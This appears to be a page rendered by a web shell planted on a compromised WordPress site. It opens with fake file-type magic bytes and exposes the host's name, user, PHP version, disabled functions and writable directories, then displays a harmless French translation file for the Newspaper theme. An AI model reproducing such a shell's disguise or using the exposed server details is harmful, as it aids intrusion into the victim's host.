%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/webroot/blog/wp-content/themes/Newspaper/translation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/webroot/blog/wp-content/themes/Newspaper/translation/fr_FR.po
msgid ""
msgstr ""
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Language: fr_FR\n"


msgid "View all results"
msgstr "Voir tous les résultats"


msgid "No results"
msgstr "Pas de résultats"


msgid "Home"
msgstr "Accueil"


msgid "CLOSE"
msgstr "FERMER"


msgid "Page"
msgstr "Page"


msgid "All"
msgstr "Tous"


msgid "By"
msgstr "Par"


msgid "Load more"
msgstr "Voir plus"


msgid "View all posts in"
msgstr "Voir tous les articles dans"


msgid "Tags"
msgstr "Tags"


msgid "Previous article"
msgstr "Article précédent"


msgid "Next article"
msgstr "Article suivant"


msgid "Authors"
msgstr "Auteurs"


msgid "Author"
msgstr "Auteur"


msgid "RELATED ARTICLES"
msgstr "ARTICLES CONNEXES"


msgid "MORE FROM AUTHOR"
msgstr "PLUS DE L'AUTEUR"


msgid "VIA"
msgstr "Via"


msgid "SOURCE"
msgstr "Source"


msgid "TAGS"
msgstr "TAGS"


msgid "SHARE"
msgstr "PARTAGER"


msgid "Continue"
msgstr "Continuer"


msgid "Read more"
msgstr "Lire la suite"


msgid "Name:"
msgstr "Nom :"


msgid "Email:"
msgstr "Email :"


msgid "Website:"
msgstr "Site :"


msgid "Comment:"
msgstr "Commenter :"


msgid "LEAVE A REPLY"
msgstr "LAISSER UN COMMENTAIRE"


msgid "Post Comment"
msgstr "Poster un commentaire"


msgid "Cancel reply"
msgstr "Annuler la réponse"


msgid "Reply"
msgstr "Répondre"


msgid "Log in to leave a comment"
msgstr "Connecter pour laisser un commentaire"


msgid "NO COMMENTS"
msgstr "AUCUN COMMENTAIRE"


msgid "1 COMMENT"
msgstr "1 COMMENTAIRE"


msgid "COMMENTS"
msgstr "Commentaires"


msgid "REVIEW OVERVIEW"
msgstr "NOS NOTES ..."


msgid "SUMMARY"
msgstr "RÉSUMÉ"


msgid "OVERALL SCORE"
msgstr "SCORE GLOBAL"


msgid "Ooops... Error 404"
msgstr "Oups ... Erreur 404"


msgid "Sorry, but the page you are looking for doesn't exist."
msgstr "Désolé, mais la page que vous recherchez n'existe pas."


msgid "You can go to the"
msgstr "Vous pouvez aller à"


msgid "HOMEPAGE"
msgstr "PAGE D'ACCUEIL"


msgid "OUR LATEST POSTS"
msgstr "NOS DERNIERS ARTICLES"


msgid "Posts by"
msgstr "Articles postés par"


msgid "POSTS"
msgstr "ARTICLES"


msgid "Posts tagged with"
msgstr "Articles taggés"


msgid "Tag"
msgstr "Tag"


msgid "Daily Archives:"
msgstr "Archives quotidiennes:"


msgid "Monthly Archives:"
msgstr "Archives mensuelles:"


msgid "Yearly Archives:"
msgstr "Archives annuelles:"


msgid "Archives"
msgstr "Archives"


msgid "LATEST ARTICLES"
msgstr "Derniers articles"


msgid "search results"
msgstr "résultats de la recherche"


msgid "Search"
msgstr "Recherche"


msgid "If you're not happy with the results, please do another search"
msgstr "Si les résultats ne sont pas satisfaisants, veuillez effectuer une autre recherche"


msgid "Contact us"
msgstr "Contactez-nous"


msgid "Page %CURRENT_PAGE% of %TOTAL_PAGES%"
msgstr "Page %CURRENT_PAGE% sur %TOTAL_PAGES%"


msgid "Next"
msgstr "Suivant"


msgid "Prev"
msgstr "Précédent"


msgid "No results for your search"
msgstr "Aucun résultat pour votre recherche"


msgid "No posts to display"
msgstr "Aucun article à afficher"


msgid "LOG IN"
msgstr "SE CONNECTER"


msgid "Sign in / Join"
msgstr "Connecter / rejoindre"


msgid "Log In"
msgstr "Se connecter"


msgid "REGISTER"
msgstr "ENREGISTRER"


msgid "Send My Pass"
msgstr "Envoyer mon mot de passe"


msgid "Forgot your password?"
msgstr "Mot de passe oublié ?"


msgid "Please wait..."
msgstr "S'il vous plaît patienter ..."


msgid "User or password incorrect!"
msgstr "Utilisateur ou mot de passe incorrect!"


msgid "Email or username incorrect!"
msgstr "E-mail ou nom d'utilisateur incorrect !"


msgid "Email incorrect!"
msgstr "Email incorrect !"


msgid "User or email already exists!"
msgstr "Utilisateur ou email existe déjà!"


msgid "Please check you email (index or spam folder), the password was sent there."
msgstr "Veuillez vérifier vos emails (boîte principale ou spam), votre mot de passe vous a été envoyé."


msgid "Email address not found!"
msgstr "Adresse email non trouvée !"


msgid "Your password is reset, check your email."
msgstr "Votre mot de passe a été réinitialisé, vérifiez vos emails."


msgid "Welcome! Log into your account"
msgstr "Bienvenue ! Connectez-vous à votre compte :"


msgid "Register for an account"
msgstr "Créer un compte"


msgid "Recover your password"
msgstr "Récupérer votre mot de passe"


msgid "your username"
msgstr "votre nom d'utilisateur"


msgid "your password"
msgstr "votre mot de passe"


msgid "your email"
msgstr "votre email"


msgid "A password will be e-mailed to you."
msgstr "Un mot de passe vous sera envoyé par email."


msgid "Logout"
msgstr "Déconnexion"


msgid "Like"
msgstr "J'aime"


msgid "Fans"
msgstr "Fans"


msgid "Follow"
msgstr "Suivre"


msgid "Followers"
msgstr "Suiveurs"


msgid "Subscribe"
msgstr "S'abonner"


msgid "Subscribers"
msgstr "Abonnés"


msgid "MORE STORIES"
msgstr "PLUS D'ARTICLES"


msgid "Latest"
msgstr "Dernier"


msgid "Featured posts"
msgstr "Les articles en vedette"


msgid "Most popular"
msgstr "Plus populaire"


msgid "7 days popular"
msgstr "7 jours populaire"


msgid "By review score"
msgstr "Les mieux notés"


msgid "Random"
msgstr "Au hasard"


msgid "Trending Now"
msgstr "A la une"


msgid "POPULAR CATEGORY"
msgstr "CATÉGORIE POPULAIRE"


msgid "EVEN MORE NEWS"
msgstr "ENCORE PLUS D'ARTICLES"


msgid "Previous (Left arrow key)"
msgstr "Précédente (flèche gauche)"


msgid "Next (Right arrow key)"
msgstr "Suivante (flèche droite)"


msgid "%curr% of %total%"
msgstr "%curr% sur %total%"


msgid "The content from %url% could not be loaded."
msgstr "Le contenu de %url% pas pu être chargé."


msgid "The image #%curr% could not be loaded."
msgstr "L'image #%curr% pas pu être chargée."


msgid "Blog"
msgstr "Blog"


msgid "Share on Facebook"
msgstr "Partager sur Facebook"


msgid "Tweet on Twitter"
msgstr "Tweeter sur twitter"


msgid "EDITOR PICKS"
msgstr "SÉLECTION DE L'EDITEUR"


msgid "POPULAR POSTS"
msgstr "ARTICLES POPULAIRES"


msgid "FOLLOW US"
msgstr "SUIVEZ NOUS"


msgid "ABOUT US"
msgstr "À PROPOS"


msgid "More"
msgstr "Plus"


msgid "Featured"
msgstr "En vedette"


msgid "All time popular"
msgstr "Tous les temps populaire"


msgid "Likes"
msgstr "J'aimes"


msgid "Register"
msgstr "Créer un compte"


msgid "of"
msgstr "de"


msgid "Euro Member Countries"
msgstr "Les pays membres de la zone euro"


msgid "Your comment is awaiting moderation"
msgstr "Votre commentaire est en attente de modération"


msgid "Follow us on Instagram"
msgstr "Suivez-nous sur instagram"


msgid "Back"
msgstr "Arrière"


msgid "Sign in"
msgstr "Se connecter"


msgid "Sign up"
msgstr "S'inscrire"


msgid "Join"
msgstr "Joindre"


msgid "Welcome!"
msgstr "Bienvenue!"


msgid "Log into your account"
msgstr "Connectez-vous à votre compte"


msgid "Password recovery"
msgstr "Récupération de mot de passe"


msgid "Please check your email (index or spam folder), the password was sent there."
msgstr "S'il vous plaît vérifier votre e-mail (dossier d'index ou spam), le mot de passe a été envoyé là-bas."


msgid "Australian Dollar"
msgstr "Dollar australien"


msgid "Bulgarian Lev"
msgstr "Lev bulgare"


msgid "Brazilian Real"
msgstr "Real brésilien"


msgid "Canadian Dollar"
msgstr "Dollar canadien"


msgid "Swiss Franc"
msgstr "Franc suisse"


msgid "Chinese Yuan Renminbi"
msgstr "Chinese yuan renminbi"


msgid "Czech Republic Koruna"
msgstr "République tchèque koruna"


msgid "Danish Krone"
msgstr "Couronne danoise"


msgid "British Pound"
msgstr "Livre sterling"


msgid "Hong Kong Dollar"
msgstr "Dollar de Hong Kong"


msgid "Croatian Kuna"
msgstr "Kuna croatian"


msgid "Hungarian Forint"
msgstr "Forint hongrois"


msgid "Indonesian Rupiah"
msgstr "Roupie indonésienne"


msgid "Israeli Shekel"
msgstr "Shekel israelien"


msgid "Indian Rupee"
msgstr "Roupie indienne"


msgid "Japanese Yen"
msgstr "Yen japonais"


msgid "Korean (South) Won"
msgstr "Korean (sud) won"


msgid "Mexican Peso"
msgstr "Peso mexicain"


msgid "Malaysian Ringgit"
msgstr "Ringgit malaisien"


msgid "Norwegian Krone"
msgstr "Couronne norvégienne"


msgid "New Zealand Dollar"
msgstr "Dollar néo-zélandais"


msgid "Philippine Peso"
msgstr "Peso philippin"


msgid "Polish Zloty"
msgstr "Zloty polonais"


msgid "Romanian (New) Leu"
msgstr "Romanian (nouveau) leu"


msgid "Russian Ruble"
msgstr "Rouble russe"


msgid "Swedish Krona"
msgstr "Couronne suédoise"


msgid "Singapore Dollar"
msgstr "Dollar singapour"


msgid "Thai Baht"
msgstr "Baht thaïlandais"


msgid "Turkish Lira"
msgstr "Lire turque"


msgid "United States Dollar"
msgstr "Dollar américain"


msgid "South African Rand"
msgstr "Rand sud-africain"


msgid "Privacy Policy"
msgstr "Politique de confidentialité"


msgid "views"
msgstr "vues"


msgid "Modified date:"
msgstr "Date modifiée:"


msgid "Please enter your name here"
msgstr "S'il vous plaît entrez votre nom ici"


msgid "Please enter your email address here"
msgstr "Veuillez entrer votre adresse email ici"


msgid "You have entered an incorrect email address!"
msgstr "Vous avez entré une adresse email incorrecte!"


msgid "Please enter your comment!"
msgstr "S'il vous plaît entrez votre commentaire!"


msgid "Logged in as"
msgstr "Connecté en tant que"


msgid "Log out?"
msgstr "Connectez - Out?"


msgid "Logged in as %s. Edit your profile."
msgstr "Connecté en tant que% s. Modifier votre profil."


msgid "Edit"
msgstr "Modifier"


msgid "Login"
msgstr "S'identifier"


msgid "Send My Password"
msgstr "Envoyer mon mot de passe"


msgid "Create an account"
msgstr "Créer un compte"


msgid "Welcome! Register for an account"
msgstr "Bienvenue! s'inscrire pour un compte"


msgid "About me"
msgstr "À propos de moi"


msgid "Save my name, email, and website in this browser for the next time I comment."
msgstr "Enregistrer mon nom, email et site web dans ce navigateur pour la prochaine fois que je commenterai."


msgid "Orders"
msgstr "Ordres"


msgid "Addresses"
msgstr "Adresses"


msgid "Account settings"
msgstr "Paramètres du compte"


msgid "Hello"
msgstr "Bonjour"


msgid "No products in the cart."
msgstr "Aucun produit dans le chariot."


msgid "Product categories"
msgstr "Catégories de produits"


msgid "Product tags"
msgstr "étiquettes de produits"


msgid "Success"
msgstr "Succès"


msgid "Acknowledgment is required!"
msgstr "L'accusé de réception est requis !"


msgid "Please fill in a valid email."
msgstr "S'il vous plaît remplir un email valide."


msgid "Please fill in an email address."
msgstr "S'il vous plaît remplir une adresse e-mail."


msgid "Get into your account."
msgstr "Entrer dans votre compte."


msgid "My subscription account"
msgstr "Mon compte d'abonnement"


msgid "Account details"
msgstr "Détails du compte"


msgid "Subscriptions"
msgstr "Abonnements"


msgid "My woo account"
msgstr "Mon compte woo"


msgid "Log out"
msgstr "Se déconnecter"


msgid "Email address"
msgstr "Adresse e-mail"


msgid "Username"
msgstr "Nom d'utilisateur"


msgid "Password"
msgstr "Le mot de passe"


msgid "must contain at least one lower case (a..z)"
msgstr "doit contenir au moins une minuscule (a..z)"


msgid "must contain at least one upper case (A..Z)"
msgstr "doit contenir au moins une majuscule (a..z)"


msgid "must contain at least 6 characters in length"
msgstr "doit contenir au moins 6 caractères"


msgid "Repeat password"
msgstr "Répéter le mot de passe"


msgid "Already have an account?"
msgstr "Vous avez déjà un compte?"


msgid "Recover password"
msgstr "Récupérer mot de passe"


msgid "Username or Email address"
msgstr "Nom d'utilisateur ou adresse e-mail"


msgid "Forgot password?"
msgstr "Mot de passe oublié?"


msgid "Don't have an account?"
msgstr "Vous n'avez pas de compte ?"


msgid "Dashboard"
msgstr "Tableau de bord"


msgid "Welcome to your account!"
msgstr "Bienvenue sur votre compte !"


msgid "Hello %1$s (not %2$s? %3$s)! From your account dashboard you can view your subscriptions and manage your account details."
msgstr "Bonjour %1$s (pas %2$s ? %3$s) ! depuis le tableau de bord de votre compte, vous pouvez consulter vos abonnements et gérer les détails de votre compte."


msgid "Lost Password"
msgstr "Mot de passe perdu"


msgid "Manage your account details."
msgstr "Gérer les détails de votre compte."


msgid "First name"
msgstr "Prénom"


msgid "Last name"
msgstr "Nom de famille"


msgid "Display name"
msgstr "Afficher un nom"


msgid "Current password"
msgstr "Mot de passe actuel"


msgid "(leave blank to leave unchanged)"
msgstr "(laisser vide pour ne pas changer)"


msgid "New password"
msgstr "Nouveau mot de passe"


msgid "Confirm new password"
msgstr "Confirmer le nouveau mot de passe"


msgid "Save changes"
msgstr "Sauvegarder les modifications"


msgid "All your subscriptions."
msgstr "Tous vos abonnements."


msgid "Plan"
msgstr "Planifier"


msgid "Payment type"
msgstr "Type de paiement"


msgid "Status"
msgstr "Statut"


msgid "Months"
msgstr "Mois"


msgid "Start date"
msgstr "Date de début"


msgid "End date"
msgstr "Date de fin"


msgid "missing plan"
msgstr "plan manquant"


msgid "Free"
msgstr "Gratuit"


msgid "Active"
msgstr "Actif"


msgid "Trial"
msgstr "Essai"


msgid "Blocked"
msgstr "Bloqué"


msgid "Closed"
msgstr "Fermé"


msgid "Not paid"
msgstr "Impayé"


msgid "Awaiting payment"
msgstr "En attente de paiement"


msgid "Subscription info"
msgstr "Informations d'abonnement"


msgid "ID"
msgstr "IDENTIFIANT"


msgid "Name"
msgstr "Nom"


msgid "Company name"
msgstr "Nom de la compagnie"


msgid "VAT"
msgstr "T.V.A"


msgid "Address"
msgstr "Adresse"


msgid "City"
msgstr "Ville"


msgid "Country/State"
msgstr "Etat"


msgid "Email"
msgstr "E-mail"


msgid "Postal code"
msgstr "Code postal"


msgid "Direct bank transfer details"
msgstr "Coordonnées de virement bancaire direct"


msgid "Account name"
msgstr "Nom du compte"


msgid "Account number"
msgstr "Numéro de compte"


msgid "Bank name"
msgstr "Nom de banque"


msgid "Routing number"
msgstr "Numéro de routage"


msgid "IBAN"
msgstr "IBAN"


msgid "Bic/Swift"
msgstr "Bic/rapide"


msgid "Instructions"
msgstr "Instructions"


msgid "No subscription created."
msgstr "Aucun abonnement créé."


msgid "Choose plan"
msgstr "Choisir le forfait"


msgid "Payment methods"
msgstr "Méthodes de payement"


msgid "Total"
msgstr "Le total"


msgid "Period"
msgstr "Point final"


msgid "Subscription summary"
msgstr "Résumé de l'abonnement"


msgid "Phone"
msgstr "Téléphoner"


msgid "Postcode"
msgstr "Code postal"


msgid "County"
msgstr "Comté"


msgid "Town/City"
msgstr "Ville/ville"


msgid "Street address"
msgstr "Adresse de la rue"


msgid "Country/Region"
msgstr "Pays/région"


msgid "VAT Number"
msgstr "Numéro de TVA"


msgid "(optional)"
msgstr "(optionnel)"


msgid "Billing details"
msgstr "Détails de la facturation"


msgid "User information"
msgstr "Informations de l'utilisateur"


msgid "It seems that no available payment methods have been configured."
msgstr "Il semble qu'aucun mode de paiement disponible n'ait été configuré."


msgid "Thank you! We are delighted to see you here. Your subscription will be activated soon!"
msgstr "Je vous remercie! nous sommes ravis de vous voir ici. votre abonnement sera bientôt activé !"


msgid "Our bank details"
msgstr "Nos coordonnées bancaires"


msgid "Your subscription details"
msgstr "Les détails de votre abonnement"


msgid "View subscription"
msgstr "Voir l'abonnement"


msgid "You have not selected a valid subscription plan."
msgstr "Vous n'avez pas sélectionné de formule d'abonnement valide."


msgid "Field empty"
msgstr "Champ vide"


msgid "Empty first name"
msgstr "Prénom vide"


msgid "Empty last name"
msgstr "Nom de famille vide"


msgid "Empty country"
msgstr "Pays vide"


msgid "Empty address"
msgstr "Adresse vide"


msgid "Empty city"
msgstr "Ville vide"


msgid "Empty county"
msgstr "Comté vide"


msgid "Empty postcode"
msgstr "Code postal vide"


msgid "Empty phone"
msgstr "Téléphone vide"


msgid "Empty email"
msgstr "E-mail vide"


msgid "Email or username empty!"
msgstr "Email ou nom d'utilisateur vide !"


msgid "Pass empty!"
msgstr "Passe à vide !"


msgid "Username incorrect!"
msgstr "Nom d'utilisateur incorrect !"


msgid "Invalid Pass Pattern!"
msgstr "Modèle de passe invalide !"


msgid "Please activate your account by following the link sent to your email address."
msgstr "Veuillez activer votre compte en suivant le lien envoyé à votre adresse e-mail."


msgid "Resend activation link"
msgstr "Renvoyer le lien d'activation"


msgid "In order to have access to this section, you have to activate your account."
msgstr "Pour avoir accès à cette section, vous devez activer votre compte."


msgid "Email empty!"
msgstr "Email vide !"


msgid "Username empty!"
msgstr "Nom d'utilisateur vide !"


msgid "Pass pattern incorrect!"
msgstr "Modèle de réussite incorrect !"


msgid "Retyped pass empty!"
msgstr "Passe retapé vide !"


msgid "Retyped pass exactly!"
msgstr "Passe retapé exactement !"


msgid "User already exists!"
msgstr "L'utilisateur existe déjà!"


msgid "Email already exists!"
msgstr "L'email existe déjà!"


msgid "Your account could not be created."
msgstr "Votre compte n'a pas pu être créé."


msgid "Please check your email (inbox or spam folder) to validate your account."
msgstr "Veuillez vérifier votre email (boîte de réception ou dossier spam) pour valider votre compte."


msgid "User empty!"
msgstr "Utilisateur vide !"


msgid "User does not exists!"
msgstr "L'utilisateur n'existe pas !"


msgid "New activation link was generated. Please check your email (inbox or spam folder) to validate your account."
msgstr "Un nouveau lien d'activation a été généré. veuillez vérifier votre email (boîte de réception ou dossier spam) pour valider votre compte."


msgid "CAPTCHA verification failed!"
msgstr "La vérification du captcha a échoué !"


msgid "CAPTCHA user score failed. Please contact us!"
msgstr "Le score de l'utilisateur captcha a échoué. Contactez nous s'il vous plait!"


msgid "Loading"
msgstr "Chargement en cours"


msgid "Here are the results for the search:"
msgstr "Voici les résultats de la recherche :"


msgid "Price"
msgstr "Le prix"


msgid "EXCLUSIVE"
msgstr "EXCLUSIF"


msgid "Tel:"
msgstr "Tél :"


msgid "Share"
msgstr "Partager"


msgid "Print"
msgstr "Imprimer"


msgid "At"
msgstr "à"


msgid "Comments are closed."
msgstr "Les commentaires sont fermés."


msgid "My account"
msgstr "Mon compte"


msgid "Payment method"
msgstr "Mode de paiement"


VaKeR 2022